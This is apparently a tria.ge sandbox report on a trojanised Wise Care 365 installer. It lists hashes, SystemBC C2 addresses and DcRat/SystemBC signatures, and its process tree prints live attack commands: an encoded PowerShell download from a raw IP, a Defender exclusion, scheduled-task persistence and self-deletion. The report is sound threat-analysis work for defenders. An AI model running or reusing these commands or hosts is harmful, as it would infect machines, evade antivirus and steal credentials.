Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    156s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    25/10/2022, 14:50

General

  • Target

    WiseCare365_Setup.exe

  • Size

    41.2MB

  • MD5

    a054cf67547476c2ab1b4d8e66bff7b3

  • SHA1

    b1b29a1ce3b6ee3bbea3ef30c36d7bd0f0935699

  • SHA256

    8baf828cdb482e769c87e58d47782100ebce01c9039a670b154d0f8eca958948

  • SHA512

    f672dcc0e190b22664770c2ce151a384e5bc06bce98e9f71e8f4a7eb480c08e5c15f14cdbc8a141599c854a5bfd0edecad63795edf388a752259855fe90c135f

  • SSDEEP

    786432:QsCKwcgE6McNv4noJS8nqOkx1Aiwn6QB3bwvNf1soEZLM/1A6LAVByFkWOOrHSPb:JChcgEFc/AnxlCboZ1dE18Zk0kWIb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://31.42.177.171/hfile.bin

Extracted

Family

systembc

C2

89.22.225.242:4193

195.2.93.22:4193

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • SystemBC

    SystemBC is a proxy and remote administration tool first seen in 2019.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 22 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 4 IoCs
  • Runs .reg file with regedit 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 33 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 12 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\WiseCare365_Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\WiseCare365_Setup.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2644
    • C:\Users\Admin\AppData\Local\Temp\is-DA78E.tmp\WiseCare365_Setup.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-DA78E.tmp\WiseCare365_Setup.tmp" /SL5="$9011A,41919602,1320448,C:\Users\Admin\AppData\Local\Temp\WiseCare365_Setup.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:3828
      • C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe
        "C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:3380
        • C:\Users\Admin\AppData\Local\Temp\is-TE49F.tmp\Wise Care 365 6.3.5.613.tmp
          "C:\Users\Admin\AppData\Local\Temp\is-TE49F.tmp\Wise Care 365 6.3.5.613.tmp" /SL5="$1020C,39988502,64512,C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\Wise Care 365 6.3.5.613.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Drops file in Program Files directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SetWindowsHookEx
          PID:220
          • C:\Windows\SysWOW64\regedit.exe
            "C:\Windows\regedit.exe" /S "C:\Users\Admin\AppData\Local\Temp\is-KPDLB.tmp\settings.reg"
            5⤵
            • Runs .reg file with regedit
            PID:3452
          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://lrepacks.net/
            5⤵
            • Adds Run key to start application
            • Enumerates system info in registry
            • Modifies registry class
            • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
            • Suspicious use of FindShellTrayWindow
            PID:4436
            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa998c46f8,0x7ffa998c4708,0x7ffa998c4718
              6⤵
                PID:1328
              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2140 /prefetch:2
                6⤵
                  PID:4356
                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
                  6⤵
                    PID:1040
                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2760 /prefetch:8
                    6⤵
                      PID:4628
                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3812 /prefetch:1
                      6⤵
                        PID:4348
                      • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3816 /prefetch:1
                        6⤵
                          PID:4752
                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5020 /prefetch:8
                          6⤵
                            PID:2488
                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5076 /prefetch:8
                            6⤵
                              PID:3176
                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=5652 /prefetch:8
                              6⤵
                                PID:2380
                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6092 /prefetch:1
                                6⤵
                                  PID:2500
                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --disable-gpu-compositing --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6124 /prefetch:1
                                  6⤵
                                    PID:1792
                                  • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                    "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6584 /prefetch:8
                                    6⤵
                                      PID:4960
                                    • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                      "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --configure-user-settings --verbose-logging --system-level --msedge --force-configure-user-settings
                                      6⤵
                                        PID:3876
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --type=crashpad-handler /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Windows\TEMP\MsEdgeCrashpad --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\Installer\setup.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x220,0x224,0x228,0x1fc,0x22c,0x7ff648445460,0x7ff648445470,0x7ff648445480
                                          7⤵
                                            PID:4288
                                        • C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
                                          "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2108,4296157360624388797,12549167124884821124,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=6584 /prefetch:8
                                          6⤵
                                            PID:956
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /c ""C:\ProgramData\SurfaceReduction\main.bat" "
                                      3⤵
                                      • Suspicious use of WriteProcessMemory
                                      PID:3804
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nop -noni -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAoACcALgB6AGkAcAAnACkA
                                        4⤵
                                        • Suspicious behavior: EnumeratesProcesses
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1716
                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                        powershell -nop -noni -enc KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwAzADEALgA0ADIALgAxADcANwAuADEANwAxAC8AaABmAGkAbABlAC4AYgBpAG4AJwAsACAAJwBoAGYAaQBsAGUALgBiAGkAbgAnACkA
                                        4⤵
                                        • Blocklisted process makes network request
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4656
                                      • C:\ProgramData\SurfaceReduction\7za.exe
                                        7za x -y -p10619mlgrAGP7211mlgrAGP24753 "hfile.zip"
                                        4⤵
                                        • Executes dropped EXE
                                        PID:2188
                                      • C:\Windows\SysWOW64\cscript.exe
                                        cscript CurrentControlSet003.vbs
                                        4⤵
                                        • Blocklisted process makes network request
                                        • Checks computer location settings
                                        • Suspicious use of WriteProcessMemory
                                        PID:4132
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\SurfaceReduction\CurrentControlSet001_str.bat" "
                                          5⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:560
                                          • C:\ProgramData\SurfaceReduction\ELEVATE.EXE
                                            ELEVATE.EXE -U:T -P:E -ShowWindowMode:Hide "CurrentControlSet001.bat"
                                            6⤵
                                            • Executes dropped EXE
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3776
                                        • C:\Windows\SysWOW64\cmd.exe
                                          C:\Windows\system32\cmd.exe /c ""C:\ProgramData\SurfaceReduction\compil23.bat" "
                                          5⤵
                                          • Suspicious use of WriteProcessMemory
                                          PID:2380
                                          • C:\Windows\SysWOW64\mode.com
                                            mode 65,10
                                            6⤵
                                              PID:1892
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e fileext.zip -p662BgaxdPx31899BgaxdPx12411 -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:4908
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_10.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:1636
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_9.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:3448
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_8.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:1400
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_7.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:212
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_6.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:2624
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_5.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:2572
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_4.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:2364
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_3.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:2040
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_2.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:556
                                            • C:\ProgramData\SurfaceReduction\7za.exe
                                              7za.exe e extracted/fileext_1.zip -oextracted
                                              6⤵
                                              • Executes dropped EXE
                                              PID:3976
                                            • C:\ProgramData\SurfaceReduction\Microsoft.Windows.DSC.CoreConf.exe
                                              "Microsoft.Windows.DSC.CoreConf.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                              • Checks SCSI registry key(s)
                                              • Suspicious behavior: MapViewOfSection
                                              PID:4588
                                          • C:\Windows\SysWOW64\cmd.exe
                                            C:\Windows\system32\cmd.exe /c ""C:\ProgramData\SurfaceReduction\CurrentControlSet002.bat" "
                                            5⤵
                                            • Suspicious use of WriteProcessMemory
                                            PID:4744
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd /c powershell -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp'"
                                              6⤵
                                              • Suspicious use of WriteProcessMemory
                                              PID:4972
                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                powershell -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath '"C:\Users\Admin\AppData\Local\Temp'"
                                                7⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:3184
                                            • C:\Windows\SysWOW64\PING.EXE
                                              ping 127.0.0.1 -n 45
                                              6⤵
                                              • Runs ping.exe
                                              PID:4756
                                            • C:\Windows\SysWOW64\cmd.exe
                                              cmd /c rd /q /s "C:\ProgramData\SurfaceReduction\"
                                              6⤵
                                                PID:4804
                                    • C:\Windows\System32\CompPkgSrv.exe
                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                      1⤵
                                        PID:1892
                                      • C:\Users\Admin\AppData\Local\Temp\FE9.exe
                                        C:\Users\Admin\AppData\Local\Temp\FE9.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Drops file in Windows directory
                                        PID:4984
                                      • C:\Users\Admin\AppData\Local\Temp\23C0.exe
                                        C:\Users\Admin\AppData\Local\Temp\23C0.exe
                                        1⤵
                                        • Executes dropped EXE
                                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:4336
                                        • C:\Windows\SysWOW64\cmd.exe
                                          "cmd.exe" /C schtasks /create /tn \f1vkwhl8p5 /tr "C:\Users\Admin\AppData\Roaming\f1vkwhl8p5\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
                                          2⤵
                                            PID:2176
                                            • C:\Windows\SysWOW64\schtasks.exe
                                              schtasks /create /tn \f1vkwhl8p5 /tr "C:\Users\Admin\AppData\Roaming\f1vkwhl8p5\svcupdater.exe" /st 00:00 /du 9999:59 /sc once /ri 1 /f
                                              3⤵
                                              • Creates scheduled task(s)
                                              PID:3844
                                        • C:\Users\Admin\AppData\Local\Temp\344C.exe
                                          C:\Users\Admin\AppData\Local\Temp\344C.exe
                                          1⤵
                                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                          • Executes dropped EXE
                                          • Checks BIOS information in registry
                                          • Checks whether UAC is enabled
                                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                                          • Suspicious use of SetThreadContext
                                          PID:380
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                            2⤵
                                            • Loads dropped DLL
                                            PID:5384
                                        • C:\Windows\SysWOW64\explorer.exe
                                          C:\Windows\SysWOW64\explorer.exe
                                          1⤵
                                            PID:3352
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe
                                            1⤵
                                              PID:224
                                            • C:\Windows\SysWOW64\explorer.exe
                                              C:\Windows\SysWOW64\explorer.exe
                                              1⤵
                                                PID:4132
                                              • C:\Windows\SysWOW64\explorer.exe
                                                C:\Windows\SysWOW64\explorer.exe
                                                1⤵
                                                  PID:2356
                                                • C:\Windows\explorer.exe
                                                  C:\Windows\explorer.exe
                                                  1⤵
                                                  • Suspicious behavior: MapViewOfSection
                                                  PID:3772
                                                • C:\Windows\SysWOW64\explorer.exe
                                                  C:\Windows\SysWOW64\explorer.exe
                                                  1⤵
                                                    PID:2300
                                                  • C:\Windows\explorer.exe
                                                    C:\Windows\explorer.exe
                                                    1⤵
                                                      PID:2864
                                                    • C:\Windows\SysWOW64\explorer.exe
                                                      C:\Windows\SysWOW64\explorer.exe
                                                      1⤵
                                                      • Accesses Microsoft Outlook profiles
                                                      • outlook_office_path
                                                      • outlook_win_path
                                                      PID:3352
                                                    • C:\Users\Admin\AppData\Roaming\f1vkwhl8p5\svcupdater.exe
                                                      C:\Users\Admin\AppData\Roaming\f1vkwhl8p5\svcupdater.exe
                                                      1⤵
                                                      • Executes dropped EXE
                                                      • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                      PID:3864
                                                    • C:\Users\Admin\AppData\Local\Temp\FE9.exe
                                                      C:\Users\Admin\AppData\Local\Temp\FE9.exe start
                                                      1⤵
                                                      • Executes dropped EXE
                                                      PID:2004

                                                    Network

                                                    MITRE ATT&CK Enterprise v6

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Uninstall.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      18715bd01bbe6124214f475ea3124a89

                                                      SHA1

                                                      dffd12ded579d990bf15336ca67dc935a8602a51

                                                      SHA256

                                                      09afe47d0a2d08c7e63f65bc06d3672e23531c29d25ed321cdc8b678c32e79f1

                                                      SHA512

                                                      d18274c9302e98cf422e3381e0a572bef4cecb2b93e58dfbd0ce965d3bbd83613cd9b8de817fca17a4ba9a9c986a956add870180499c463a3554e3c3750a1b1a

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Auto Shutdown.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      22103cabb54b4eb68b50e199f9af09b9

                                                      SHA1

                                                      94fe0f34f230e330f19149c9debcb225844fa620

                                                      SHA256

                                                      e65e4aea44f02bf2f5de636086faa62c5272695f2f68c70b8c221a52e698d978

                                                      SHA512

                                                      90f69ebeb5a2ca1d7edde8b88a0b270d829b35dff44fa072fb84849b96686a1cab690aebdae15e2942b1eca6109e87cf4b491f2a99f45036d285532ecf2c456a

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Care 365.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      5400a417ce412d3b2c29f3b158ce4fb4

                                                      SHA1

                                                      ba1710e7de4f248a778f6aa4f49ae8f297d0f61c

                                                      SHA256

                                                      48e1d4a25fbcfdd6e2bc54792d6318e43f8f00a331e7705520f46ee9381bf43d

                                                      SHA512

                                                      aeee0a3b9f71da654bd977a9e67964de23043fd08bf556f358ad2808e8a27810df55a16529f149974aa53b461faf787cdb91e7b97114dc74870059ae4b32c40e

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Data Recovery.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      09e77c9474d583e08bbf6b62740f6cc0

                                                      SHA1

                                                      1797bb6f50fdf6196274f435b91a0d86ffad0fb5

                                                      SHA256

                                                      189fe8cb509ee3f468a33781321d3d6df48d933282155d4dd3b7ba018a27abf1

                                                      SHA512

                                                      30aef796a48d6a48e87997e6b7e8bc5d8a72ab8e5c7541a3db6c45cb6e399f32e361afe28b8ce45599107be20b616c8a9ecc794509eb1c26716619097ad5aab0

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Force Deleter.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      05c36a390005e6b46282533caf72d02c

                                                      SHA1

                                                      911e2ade57535034075e6704dcc6538cddf2c79e

                                                      SHA256

                                                      8301efa7ce93a49b0069cda3f5635af21653b2077aaaf51c2696e07d0210dd02

                                                      SHA512

                                                      f4b7180f4755365b4084c4113ecd2d117199393328e874e855268a2c7eca54cba41e14e27baf3ea99667ff6099e77d727fe45ca2566147fec37391e1c27d9062

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise GameBooster.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      e5f9ed80bef78e48fc80232bbb2f853e

                                                      SHA1

                                                      3a7f6fccf4f63345a15a772b869f8597ec707307

                                                      SHA256

                                                      f7a2860ec5848da1b65c2eb6fe99927fb85c556d30817bc1d8672d147093fdc2

                                                      SHA512

                                                      9c5569b0380d72cf093b4ec7d65bd6d072cabf7ee042608a926d3417d9bd83b746fc257a43466bb4956c949cbbf4861491091b2ce7265d625c374ba22c63e944

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise JetSearch.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      e9e15832da06834a5d8a15332be1b4fe

                                                      SHA1

                                                      e586fded0bf515e057513152db80ed8f27ede735

                                                      SHA256

                                                      9fc90f33be900cf6491f80de27a9552c0779c71b93b40eb7fed11eab984b39d0

                                                      SHA512

                                                      2a59b8046b5d80ad78a663e442faec03138cc367054361b4b73d88aac7e11756dda73fe88c4d6a8538cdaa801dab2c33b111254a0521b0c2d6029b76d86c88f7

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Memory Optimzer.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      74a003ee61acb44ddcd44271d0be2e50

                                                      SHA1

                                                      e466e6c92ad45218b9db288b1f13d06790581244

                                                      SHA256

                                                      44a6f3cfcd4b617e926beaea8f52a6e580fd96536c1fa7cd52fdd4b2553b0df2

                                                      SHA512

                                                      68a8ca3a0141e23bb9fa22c887670e31c14d330a8e5393a239db995eea423c6794d4b973ae26c7fe55dc1430307fd1e3b66aef4736f9f86353148d4d70ade5fd

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Reminder.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      88d7f6de1fb75e30569618f73f20b165

                                                      SHA1

                                                      159a57268e15c2dce59cc17b35081e71ee296f50

                                                      SHA256

                                                      71b5e5b70d08dce93707a098a36dc1e1ccf956063c26042ca9948aae8fbab793

                                                      SHA512

                                                      872ab945f8451457a43bec3b7d68fd874036c0c0a778ea190369f529e7d44af4835c0fefdb4f04af86c5e7b5c7fb1b2f804f3eda0267805fb8bdc23eb3662961

                                                    • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Wise Care 365\Wise Uninstaller.lnk

                                                      Filesize

                                                      1KB

                                                      MD5

                                                      1961421355f120841c86c2cc781934ac

                                                      SHA1

                                                      ebf15d16541214e2724c8f653b56e92383af5bde

                                                      SHA256

                                                      f85b6956396f08c71d7bd761cc5b7c3c62a096623163cf284c155dbc0ccaa7c9

                                                      SHA512

                                                      54a9056505a94148f22b7bd650735aa2cad8900f0da28b30a164a57bb431d902cac2e10037f4158bfcdcd796986a6f79c026cc270222c2b5321b45f0a7f09dc8

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

                                                      SHA1

                                                      58ad15d91abac2c6203e389ac8a8ff6685406d41

                                                      SHA256

                                                      993cd78a697a09a497f3d05db6cc8183aea95a62f3fb4d1073173a919794747c

                                                      SHA512

                                                      2995d193512d0a4789b1710c51c1fc94939cba17ebbcf0181a214bc0d15ba21234bdc53816b3af6dc495d71fcce08dd1d1acc41e3de0fce17ce9f782e33d1498

                                                    • C:\ProgramData\SurfaceReduction\7za.exe

                                                      Filesize

                                                      572KB

                                                      MD5

                                                      c3d309156b8e8cf1d158de5fab1c2b40

